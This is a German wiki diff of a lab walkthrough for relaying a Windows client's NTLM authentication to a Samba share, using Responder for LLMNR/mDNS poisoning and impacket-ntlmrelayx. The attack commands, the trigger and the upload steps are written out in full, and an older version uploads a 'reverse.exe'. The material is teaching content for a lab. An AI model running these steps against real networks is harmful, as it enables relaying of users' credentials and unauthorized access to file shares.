NTLM-Relay auf Samba-Freigabe mit Impacket: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 1: Zeile 1:
= NTLM-Relay auf Samba-Freigabe mit Impacket (Laborszenario) =
+
= NTLM-Relay auf Samba-Freigabe mit Impacket =
  
 
== Ziel ==
 
== Ziel ==
Ein Windows-Client im gleichen Netz wird über LLMNR/mDNS vergiftet. Seine NTLM-Authentifizierung wird durch den Angreifer per '''ntlmrelayx''' an einen Samba-Server weitergeleitet. Dort wird dem relayed Benutzer Gastzugriff gewährt, sodass:
+
Ein Windows-Client im selben Netz wird über LLMNR oder mDNS vergiftet. Seine NTLM-Authentifizierung wird durch den Angreifer mit ntlmrelayx auf einen Samba-Server weitergeleitet. Der relayed Benutzer erhält Gastzugriff auf eine vorbereitete Freigabe. Der Angreifer kann darüber Dateien ablegen oder einsehen.
* SMB-Zugriff auf die Samba-Freigabe möglich ist
 
* Eine Datei in die Freigabe hochgeladen werden kann
 
  
== Voraussetzungen ==
+
== Samba-Ziel vorbereiten ==
* Angreifer: Kali Linux mit impacket & responder
 
* Opfer: Windows-Rechner im selben LAN (z. B. 10.0.10.102)
 
* Ziel: Linux mit Samba (z. B. 10.0.10.104)
 
* Der Samba-Server erlaubt Gastzugriff auf einen gemeinsamen Share
 
  
== 1. Samba-Ziel vorbereiten ==
+
*Samba-Konfiguration anpassen:
 +
nano /etc/samba/smb.conf
  
*Samba konfigurieren:*
 
 
<pre>
 
<pre>
 
[global]
 
[global]
Zeile 34: Zeile 28:
 
</pre>
 
</pre>
  
*Verzeichnis vorbereiten:*
+
*Verzeichnis vorbereiten:
 
  mkdir -p /mnt/media/share
 
  mkdir -p /mnt/media/share
 
  chown nobody:nogroup /mnt/media/share
 
  chown nobody:nogroup /mnt/media/share
 
  chmod 777 /mnt/media/share
 
  chmod 777 /mnt/media/share
  
*Dienst neustarten:*
+
*Samba neu starten:
 
  systemctl restart smbd
 
  systemctl restart smbd
  
== 2. Responder starten (Poisoning-Komponente) ==
+
== LLMNR/mDNS-Poisoning aktivieren ==
  
 +
*Responder starten:
 
  responder -I eth0
 
  responder -I eth0
  
→ Vergiftet LLMNR und mDNS-Anfragen im Netz (z. B. wenn User `\\irgendwas` aufruft)
+
== NTLM-Relay aktivieren ==
  
== 3. ntlmrelayx vorbereiten ==
+
*Relay starten mit interaktivem SMB-Zugriff:
 
 
*Mit interaktiver SMB-Shell starten:*
 
 
  impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server
 
  impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server
  
→ Wartet auf NTLM-Anfragen und öffnet SMB-Zugriff zur Samba-Freigabe nach erfolgreichem Relay
+
== NTLM-Angriff auslösen ==
 
 
== 4. Angriff auslösen ==
 
 
 
*Auf dem Windows-Opfer:* 
 
Ausführen oder öffnen eines nicht existenten UNC-Pfades (z. B. via Explorer):
 
  
 +
*Am Windows-Client im Explorer ausführen:
 
  \\irgendwas
 
  \\irgendwas
  
→ Windows versucht Namensauflösung → wird vergiftet → NTLM wird an den Angreifer geschickt → ntlmrelayx leitet weiter
+
*Der Client sendet eine vergiftbare Anfrage, wird relayed und landet mit seinen SMB-Anmeldedaten beim Samba-Ziel.
  
== 5. Ergebnis: Interaktive Shell auf Samba-Freigabe ==
+
== Erfolgreichen Zugriff nutzen ==
  
Nach erfolgreichem Relay erscheint:
+
*Nach erfolgreicher Authentifizierung erscheint im Terminal:
<pre>
+
[!] Interactive shell opened
[*] Authenticating against smb://10.0.10.104 as DESKTOP-XXX\USERNAME SUCCEED
 
[+] Opening SMB relay connection
 
[!] Interactive shell opened
 
smb>
 
</pre>
 
  
*Dort kann man z. B. eine Datei hochladen:*
+
*Dort können Befehle abgesetzt werden:
  upload /tmp/reverse.exe
+
ls
 +
  upload /tmp/beispiel.txt
 +
exit
  
== 6. Erfolg prüfen ==
+
*Die Datei liegt anschließend im Share-Verzeichnis auf dem Zielsystem:
 
 
Auf dem Samba-Ziel liegt nun eine Datei im Freigabe-Verzeichnis:
 
 
  ls -l /mnt/media/share
 
  ls -l /mnt/media/share
  
→ Ziel erreicht: SMB-Zugriff über NTLM-Relay hergestellt, Datei erfolgreich übertragen
+
== Ergebnis ==
 
+
NTLM-Relay wurde erfolgreich durchgeführt. Der relayed Benutzer konnte ohne gültige Authentifizierung auf eine Samba-Freigabe zugreifen und dort Dateien ablegen.
== Zusammenfassung ==
 
| Komponente | Aufgabe |
 
|------------|---------|
 
| responder  | Vergiftung von Namensauflösung |
 
| ntlmrelayx | Relaying von NTLM auf SMB-Ziel |
 
| Samba      | akzeptiert relayed Authentifizierung als Gast |
 
| Ziel      | Datei auf Samba-Freigabe schreiben |
 
 
 
== Hinweise ==
 
* Wird der relayed Benutzer nicht akzeptiert, hilft:
 
** map to guest = Always
 
* Ohne Schreibrechte bringt der Zugriff wenig – Ziel so konfigurieren, dass write möglich ist
 
* Nur für Labor geeignet – in Produktivnetzen schwer absicherbar (SMB Signing aktivieren!)
 
 
 
== Quellen ==
 
* https://github.com/fortra/impacket
 
* https://wiki.samba.org/index.php/Setting_up_a_Samba_Share
 

Version vom 18. Mai 2025, 12:45 Uhr

NTLM-Relay auf Samba-Freigabe mit Impacket

Ziel

Ein Windows-Client im selben Netz wird über LLMNR oder mDNS vergiftet. Seine NTLM-Authentifizierung wird durch den Angreifer mit ntlmrelayx auf einen Samba-Server weitergeleitet. Der relayed Benutzer erhält Gastzugriff auf eine vorbereitete Freigabe. Der Angreifer kann darüber Dateien ablegen oder einsehen.

Samba-Ziel vorbereiten

  • Samba-Konfiguration anpassen:
nano /etc/samba/smb.conf
[global]
   workgroup = WORKGROUP
   server role = standalone server
   passdb backend = tdbsam
   map to guest = Bad User
   guest account = nobody

[share]
   comment = Relayziel
   path = /mnt/media/share
   read only = no
   guest ok = yes
   public = yes
   browseable = yes
   force user = nobody
   force group = nogroup
  • Verzeichnis vorbereiten:
mkdir -p /mnt/media/share
chown nobody:nogroup /mnt/media/share
chmod 777 /mnt/media/share
  • Samba neu starten:
systemctl restart smbd

LLMNR/mDNS-Poisoning aktivieren

  • Responder starten:
responder -I eth0

NTLM-Relay aktivieren

  • Relay starten mit interaktivem SMB-Zugriff:
impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server

NTLM-Angriff auslösen

  • Am Windows-Client im Explorer ausführen:
\\irgendwas
  • Der Client sendet eine vergiftbare Anfrage, wird relayed und landet mit seinen SMB-Anmeldedaten beim Samba-Ziel.

Erfolgreichen Zugriff nutzen

  • Nach erfolgreicher Authentifizierung erscheint im Terminal:
[!] Interactive shell opened
  • Dort können Befehle abgesetzt werden:
ls
upload /tmp/beispiel.txt
exit
  • Die Datei liegt anschließend im Share-Verzeichnis auf dem Zielsystem:
ls -l /mnt/media/share

Ergebnis

NTLM-Relay wurde erfolgreich durchgeführt. Der relayed Benutzer konnte ohne gültige Authentifizierung auf eine Samba-Freigabe zugreifen und dort Dateien ablegen.